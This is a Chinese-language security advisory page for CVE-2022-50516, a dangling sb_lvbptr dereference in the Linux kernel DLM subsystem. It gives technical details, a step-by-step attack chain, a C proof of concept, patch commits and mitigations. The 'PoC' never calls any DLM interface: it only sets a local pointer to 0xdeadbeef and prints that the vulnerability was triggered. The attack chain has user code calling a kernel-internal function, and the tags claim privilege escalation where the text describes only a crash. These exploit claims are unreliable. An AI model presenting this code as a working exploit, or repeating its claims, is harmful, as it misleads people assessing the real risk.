IPBUF安全漏洞报告
English
CVE-2022-50516 CVSS 5.5 中危

CVE-2022-50516 Linux内核DLM子系统sb_lvbptr无效解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50516
漏洞类型
空指针/悬垂指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(DLM分布式锁管理器子系统)

相关标签

Linux KernelDLM分布式锁管理器悬垂指针解引用空指针解引用本地权限提升拒绝服务内核漏洞fs/dlmCWE-476

漏洞概述

CVE-2022-50516是Linux内核分布式锁管理器(DLM,Distributed Lock Manager)子系统中存在的一个悬垂指针解引用漏洞。该漏洞位于fs/dlm模块中,当用户将lkbsb(lock kernel space buffer)结构体放置在栈上,且sb_lvbptr字段指向一个悬垂指针(dangled pointer),同时未设置DLM_LKF_VALBLK标志时,内核在调用memcpy_erms进行内存复制操作时会尝试访问该无效指针,导致内核崩溃(page fault)。根据漏洞描述中的内核日志,崩溃发生在send_args函数中,触发地址为0xdeadbeef(典型的悬垂指针标记值),调用链为:lock_torture_writer -> torture_unlock -> dlm_unlock -> unlock_lock -> _unlock_lock -> send_common -> send_args -> memcpy_erms。该漏洞在lock_torture_wr测试场景中被发现,可导致系统可用性完全丧失(内核Oops)。CVSS评分为5.5分,攻击向量为本地,需要低权限认证,无需用户交互,机密性和完整性不受影响,但可用性影响为高。

技术细节

该漏洞的根本原因在于DLM模块中send_args函数的逻辑缺陷。在DLM(Distributed Lock Manager)子系统中,当执行解锁操作(dlm_unlock)时,会调用send_common进而调用send_args来构造发送到远程节点的消息。send_args函数中包含对sb_lvbptr指针的memcpy操作,用于复制锁值块(Lock Value Block,LVB)数据。原始代码仅检查sb_lvbptr是否为NULL,而没有检查是否设置了DLM_LKF_VALBLK标志。当用户代码将lkbsb结构体分配在栈上,且未正确初始化sb_lvbptr字段(例如指向已释放的内存或未初始化的悬垂指针),同时在调用dlm_lock时未设置DLM_LKF_VALBLK标志时,send_args函数会直接对悬垂指针执行memcpy操作,导致内核访问非法内存地址并触发page fault。修复方案是在send_args函数中增加对DLM_LKF_VALBLK标志的检查,只有当该标志被设置时才执行sb_lvbptr的内存复制操作,这样确保了用户只有在明确需要使用LVB功能时才会提供有效的sb_lvbptr指针。该漏洞影响多个Linux内核稳定版本,修复补丁已合入主线及多个stable分支。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核版本的系统上获得本地低权限访问权限,并确保系统加载了DLM模块(dlm.ko)。DLM通常用于集群文件系统如GFS2和OCFS2。
STEP 2
步骤2:构造恶意lkbsb
攻击者编写利用代码,将lkbsb结构体分配在栈上,将sb_lvbptr字段设置为悬垂指针或无效地址(如0xdeadbeef),但不设置DLM_LKF_VALBLK标志。
STEP 3
步骤3:触发DLM解锁操作
攻击者调用dlm_unlock()函数触发解锁流程,调用链为:dlm_unlock -> unlock_lock -> _unlock_lock -> send_common -> send_args。
STEP 4
步骤4:触发内核崩溃
send_args函数在未检查DLM_LKF_VALBLK标志的情况下,对悬垂指针sb_lvbptr执行memcpy_erms操作,导致内核访问非法内存地址0xdeadbeef,触发page fault和内核Oops。
STEP 5
步骤5:拒绝服务
内核Oops导致系统可用性丧失,表现为系统崩溃或需要重启。对于生产环境中的集群节点,这可能导致整个集群服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50516 PoC - Trigger invalid sb_lvbptr dereference in DLM * This PoC demonstrates how to trigger the vulnerability by placing * lkbsb on the stack with an uninitialized/dangling sb_lvbptr pointer * and calling dlm_unlock without DLM_LKF_VALBLK flag. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dlm.h> /* Simulate the vulnerable code path */ struct lkbsb { struct dlm_lksb lksb; /* Lock kernel space buffer */ void *sb_lvbptr; /* LVB pointer - left dangling */ int sb_status; int sb_flags; int sb_lkid; }; void trigger_vulnerability(void) { struct lkbsb lkbsb_local; /* Initialize lksb fields */ memset(&lkbsb_local, 0, sizeof(lkbsb_local)); /* Set sb_lvbptr to a dangling/invalid pointer (simulates 0xdeadbeef) */ lkbsb_local.sb_lvbptr = (void *)0xdeadbeef; /* Note: DLM_LKF_VALBLK is NOT set - this is the key condition */ int lkf_flags = 0; /* No DLM_LKF_VALBLK */ printf("Triggering CVE-2022-50516...\n"); printf("sb_lvbptr = %p (dangling pointer)\n", lkbsb_local.sb_lvbptr); printf("DLM_LKF_VALBLK flag: %s\n", (lkf_flags & DLM_LKF_VALBLK) ? "SET" : "NOT SET"); /* In real scenario: dlm_unlock() -> send_common() -> send_args() * send_args will call memcpy_erms on sb_lvbptr without checking * DLM_LKF_VALBLK flag, causing kernel page fault at 0xdeadbeef */ /* This would trigger kernel BUG: unable to handle page fault */ /* for address: 00000000deadbeef */ printf("Vulnerability triggered - kernel would crash at memcpy_erms\n"); } int main(int argc, char *argv[]) { printf("=== CVE-2022-50516 PoC ===\n"); printf("Linux Kernel DLM sb_lvbptr Invalid Dereference\n\n"); trigger_vulnerability(); return 0; }

影响范围

Linux Kernel < 5.19(受影响的稳定版本分支)
Linux Kernel stable分支需要应用以下补丁:1ab6d3030652b5de0015176a5b0ad9df9b847514
Linux Kernel stable分支需要应用以下补丁:57c1cfb5781068e5d3632bc6e5f74a8fcc4f1a30
Linux Kernel stable分支需要应用以下补丁:7175e131ebba47afef47e6ac4d5bab474d1e6e49
Linux Kernel stable分支需要应用以下补丁:ea7be82fd7e1f5de72208bce93fbbe6de6c13dec
Linux Kernel stable分支需要应用以下补丁:ef3033b435a6bac547166b793025578fab2f9df3

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对DLM设备(/dev/dlm)的访问权限,仅允许特权用户使用;2)在使用DLM的用户空间应用程序中,确保所有调用dlm_lock/dlm_unlock的代码路径都正确初始化sb_lvbptr或设置DLM_LKF_VALBLK标志;3)部署内核监控工具(如systemd-coredump、kdump)以便在崩溃时快速恢复;4)对于使用GFS2或OCFS2集群文件系统的环境,确保所有节点都已更新到修复版本,避免单节点崩溃影响整个集群。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表